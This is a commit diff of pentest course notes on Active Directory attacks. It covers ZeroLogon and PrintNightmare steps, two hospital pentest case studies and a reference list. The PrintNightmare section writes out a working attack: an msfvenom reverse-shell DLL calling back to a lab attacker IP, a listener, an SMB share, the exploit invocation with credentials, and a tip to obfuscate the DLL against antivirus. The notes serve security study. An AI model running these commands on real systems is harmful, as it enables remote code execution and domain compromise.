Skip to content

Commit 86e9a2e

Browse files
committed
AD notes DONE
1 parent aa73b2f commit 86e9a2e

File tree

4 files changed

+153
-10
lines changed

4 files changed

+153
-10
lines changed
Loading
+78
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,80 @@
11
# AD - Additional Attacks
22

3+
## ZeroLogon
4+
5+
➡️ [**ZeroLogon**](https://www.trendmicro.com/en_us/what-is/zerologon.html) is a vulnerability in the cryptography of Microsoft’s Netlogon process that allows an attack against Microsoft Active Directory domain controllers. Zerologon makes it possible for a hacker to impersonate any computer, including the root domain controller.
6+
7+
The **Zerologon vulnerability (CVE-2020-1472)** is a critical flaw in Microsoft's **Netlogon Remote Protocol (MS-NRPC)** that affects **Active Directory (AD) domain controllers**. Zerologon allows an unauthenticated attacker with network access to a domain controller to establish a vulnerable Netlogon session and eventually gain domain administrator privileges.
8+
9+
The vulnerability arises from a flaw in the **cryptographic implementation of the Netlogon protocol**, enabling attackers to impersonate any computer, including the root domain controller. By exploiting this, an attacker can effectively take over the entire domain.
10+
11+
This is a very dangerous attack, not worth the risk of running it in a pentest.
12+
13+
- [ZeroLogon testing script](https://github.com/SecuraBV/CVE-2020-1472)
14+
15+
```bash
16+
mkdir -p $HOME/tcm/peh/ad-attacks/zerologon
17+
cd $HOME/tcm/peh/ad-attacks/zerologon
18+
git clone https://github.com/dirkjanm/CVE-2020-1472.git
19+
wget https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/refs/heads/master/zerologon_tester.py
20+
21+
python3 zerologon_tester.py hydra-dc 192.168.31.90
22+
```
23+
24+
![](.gitbook/assets/2025-02-16_10-42-02_887.png)
25+
26+
- Proceed with the attack using [dirkjanm/CVE-2020-1472: PoC for Zerologon](https://github.com/dirkjanm/CVE-2020-1472) if the target is vulnerable.
27+
28+
---
29+
30+
## PrintNightmare
31+
32+
> - [Playing with PrintNightmare | 0xdf hacks stuff](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html)
33+
34+
➡️ The [**PrintNightmare**](https://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution) vulnerability refers to critical security flaws in the Windows **Print Spooler service**, identified as **CVE-2021-1675** and **CVE-2021-34527**.
35+
36+
PrintNightmare is a critical **remote code execution** and **local privilege escalation** vulnerability that allows attackers to execute arbitrary code with **SYSTEM** privileges, enabling them to install programs, modify data, or create new accounts with full user rights. **Exploitation can occur remotely or locally**, even on fully patched systems, if certain registry settings are misconfigured. Microsoft has released patches to address these issues, however, systems with specific registry configurations may remain vulnerable.
37+
38+
```bash
39+
# Impacket
40+
41+
# Scanning
42+
rpcdump.py @192.168.31.90 | egrep 'MS-RPRN|MS-PAR'
43+
44+
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
45+
Protocol: [MS-RPRN]: Print System Remote Protocol
46+
# DC could be vulnerable
47+
48+
# Attacking
49+
mkdir -p $HOME/tcm/peh/ad-attacks/printnightmare
50+
cd $HOME/tcm/peh/ad-attacks/printnightmare
51+
wget https://raw.githubusercontent.com/cube0x0/CVE-2021-1675/refs/heads/main/CVE-2021-1675.py
52+
53+
# Open second terminal - Generate dll payload
54+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.31.131 LPORT=5555 -f dll > shell.dll
55+
msfconfole
56+
use multi/handler
57+
set payload windows/x64/shell_reverse_tcp
58+
set LPORT 5555
59+
set LHOST 192.168.31.131
60+
61+
# Open third terminal - setup a file share
62+
smbserver.py share `pwd` -smb2support
63+
64+
# Run attack
65+
python3 CVE-2021-1675.py marvel.local/fcastle:[email protected] '\\192.168.31.131\share\shell.dll'
66+
```
67+
68+
- The attack was executed on a fully patched **Windows Server 2022**, and if it failed, it is most likely due to the applied security patches.
69+
- The `dll` may need to be obfuscated to bypass AV detection.
70+
71+
```bash
72+
# CVE-2021-1675.py output
73+
[*] Connecting to ncacn_np:192.168.31.90[\PIPE\spoolss]
74+
[+] Bind OK
75+
[-] Failed to enumerate remote pDriverPath
76+
RPRN SessionError: unknown error code: 0x8001011b
77+
```
78+
79+
---
80+
+62-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,62 @@
1-
# AD - Case Studies
1+
# AD - Case Studies
2+
3+
## Case study #1
4+
5+
> - [AD Case Study #1 - You Spent How Much on Security? - TCM Security](https://tcm-sec.com/pentest-tales-001-you-spent-how-much-on-security/)
6+
7+
This case study details a **penetration test** conducted on a **well-funded U.S. hospital** with a strong security infrastructure, including **IDS/IPS, CyberArk PAM, Symantec Endpoint Security, and proper patch management**. Despite these defenses, testers found **critical security gaps** that could be exploited.
8+
9+
**Key Findings:**
10+
11+
- **SMB Relay Attack Exposure:**
12+
- LLMNR/NBNS poisoning was **mitigated**, but **SMB relay attacks** were still possible
13+
- Attackers could use **NTLM relaying** to escalate privileges
14+
- **Privilege Escalation Risks:**
15+
- Misconfigurations and local users easy-reused hashes/passwords allowed **privilege escalation**, leading to potential **Domain Admin access**
16+
- Weak **Active Directory hardening** left **high-value targets exposed**
17+
- **Security Investment ≠ Full Protection:**
18+
- Even with expensive security solutions, **configuration weaknesses** left the network vulnerable
19+
- **Lateral movement & persistence techniques** were viable due to **improper segmentation** and **overprivileged accounts**
20+
21+
**Key Takeaways:**
22+
23+
- **Network segmentation & NTLM hardening** are critical
24+
- **Regular security assessments** are needed despite high investment in security tools
25+
- **Least privilege enforcement** should be a priority to prevent escalation
26+
27+
This case study highlights how **misconfigurations and overlooked weaknesses** can lead to **serious security risks**, even in well-funded environments.
28+
29+
---
30+
31+
## Case study #2
32+
33+
> - [AD Case Study #2 - #Pentest Tales #002: Digging Deep - TCM Security](https://tcm-sec.com/pentest-tales-002-digging-deep)
34+
35+
This case study outlines a **penetration test** on a **well-funded U.S. hospital** with solid security measures, including **LLMNR/IPv6 disabled, SMB Signing enforced, IDS/IPS, and patched systems**. Despite these controls, the assessment revealed **critical security gaps** that could be exploited.
36+
37+
**Key Findings:**
38+
39+
- **Default Credentials on Development Apps:**
40+
- A **development environment application** was found using **default credentials**, granting unauthorized access.
41+
- Attackers could **leverage this access** to extract **sensitive information**.
42+
- **Local Administrator Password Reuse:**
43+
- The **same local admin password** was used across multiple machines.
44+
- Once a **single system** was compromised, **lateral movement** became trivial.
45+
- **WDigest Enabled on Legacy Systems:**
46+
- Older systems had **WDigest enabled**, storing **plaintext credentials** in memory.
47+
- Attackers could extract **Domain Admin credentials** using tools like **Mimikatz**.
48+
- **Overprivileged Service Accounts:**
49+
- Service accounts had **Domain Admin** privileges unnecessarily.
50+
- Compromising one of these accounts **led to full domain compromise**.
51+
52+
**Key Takeaways:**
53+
54+
- **Enforce unique local admin passwords** across endpoints (**LAPS**).
55+
- **Disable WDigest** on all systems to prevent plaintext credential exposure.
56+
- **Restrict service account privileges** to the **minimum necessary**.
57+
- **Regular security assessments** are necessary, even with strong security investments.
58+
59+
This case highlights how **misconfigurations and weak credential management** can undermine otherwise strong defenses, making **lateral movement and domain compromise easy** for attackers.
60+
61+
---
62+

peh/peh-references.md

+13-9
Original file line numberDiff line numberDiff line change
@@ -157,49 +157,53 @@
157157
- [LLMNR Poisoning and How to Prevent It - TCM Security](https://tcm-sec.com/llmnr-poisoning-and-how-to-prevent-it/)
158158
- [LLMNR | Pentest Everything - viperone.gitbook.io](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adversary-in-the-middle/llmnr)
159159
- [Responder](https://github.com/lgandx/Responder)
160-
161160
- [SMB Relay Attacks and How to Prevent Them - TCM Security](https://tcm-sec.com/smb-relay-attacks-and-how-to-prevent-them/)
162161
- [ntlmrelayx.py](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py)
163-
164162
- [mitm6 - compromising IPv4 networks via IPv6 - Fox-IT](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/)
165163
- [mitm6](https://github.com/dirkjanm/mitm6)
166-
167164
- [How to Hack Through a Pass-Back Attack: MFP Hacking Guide](https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack)+
168165
- [PRET](https://github.com/RUB-NDS/PRET)
169166
- [Printer Security Testing Cheat Sheet - Hacking Printers](https://www.hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet)
170167
- [Praeda](https://github.com/percx/Praeda)
171168
- [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
172169
- [BloodHound](https://github.com/SpecterOps/BloodHound)
173170
- [PlumHound](https://github.com/PlumHound/PlumHound)
174-
175171
- [PingCastle](https://www.pingcastle.com/)
176172
- [Forest Druid](https://www.semperis.com/forest-druid/resources/)
177173
- [Purple Knight](https://www.semperis.com/purple-knight/resources/)
178174
- [crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec)
179175
- [CrackMapExec Cheat Sheet 2024 (Commands & Examples) - Stationx](https://www.stationx.net/crackmapexec-cheat-sheet/)
180176
- [netexec](https://github.com/Pennyw0rth/NetExec)
181177
- [secretsdump.py](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
178+
- [HTB: Cicada | 0xdf hacks stuff](https://0xdf.gitlab.io/2025/02/15/htb-cicada.html#nmap)
182179
- [Kerberoasting - CrowdStrike](https://www.crowdstrike.com/cybersecurity-101/kerberoasting/)
183180
- [Kerberoast | HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast)
184181
- [Kerberoasting | Red Team Notes](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
185182
- [GetUserSPNs.py](https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py)
186-
187183
- [Token Impersonation | Pentest Everything](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/access-token-manipultion/token-impersonation)
188184
- [Fun with Incognito - Metasploit Unleashed](https://www.offsec.com/metasploit-unleashed/fun-incognito/)
189185
- [Forced Authentication | Red Team Notes](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication)
190186
- [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences – Active Directory Security](https://adsecurity.org/?p=2288)
191187
- [MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege: May 13, 2014 - Microsoft Support](https://support.microsoft.com/en-us/topic/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevation-of-privilege-may-13-2014-60734e15-af79-26ca-ea53-8cd617073c30)
192188
- [Exploiting-GPP-AKA-MS14_025-vulnerability](https://github.com/incredibleindishell/Windows-AD-environment-related/blob/master/Exploiting-GPP-AKA-MS14_025-vulnerability/README.md)
193189
- [GPP attacks | Internal Pentest](https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/post-compromise-attacks/gpp-attacks)
194-
195190
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
196-
197191
- [Kerberos Golden Ticket Attack Explained - StationX](https://www.stationx.net/golden-ticket-attack/)
198192
- [Golden Ticket Attack Explained | Semperis Identity Attack Catalog](https://www.semperis.com/blog/golden-ticket-attack-explained/)
199193
- [Golden Ticket Attack Explained - MITRE ATT&CK T1558.001](https://www.picussecurity.com/resource/blog/golden-ticket-attack-mitre-t1558.001)
200194
- [rycon.hu - mimikatz's Golden Ticket](https://rycon.hu/papers/goldenticket.html)
201-
202-
195+
- [Zerologon](https://www.secura.com/blog/zero-logon)
196+
- [ZeroLogon testing script](https://github.com/SecuraBV/CVE-2020-1472)
197+
- [dirkjanm/CVE-2020-1472: PoC for Zerologon](https://github.com/dirkjanm/CVE-2020-1472)
198+
- [What Is Zerologon? | Trend Micro (US)](https://www.trendmicro.com/en_us/what-is/zerologon.html)
199+
200+
- [PrintNightmare Exposes Windows Servers to RCE | Huntress](https://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution)
201+
- [Playing with PrintNightmare | 0xdf hacks stuff](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html)
202+
- [cube0x0/CVE-2021-1675: C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527](https://github.com/cube0x0/CVE-2021-1675)
203+
- [calebstewart/CVE-2021-1675: Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare)](https://github.com/calebstewart/CVE-2021-1675)
204+
205+
- [AD Case Study #1 - You Spent How Much on Security? - TCM Security](https://tcm-sec.com/pentest-tales-001-you-spent-how-much-on-security/)
206+
- [AD Case Study #2 - #Pentest Tales #002: Digging Deep - TCM Security](https://tcm-sec.com/pentest-tales-002-digging-deep)
203207

204208

205209

0 commit comments

Comments
 (0)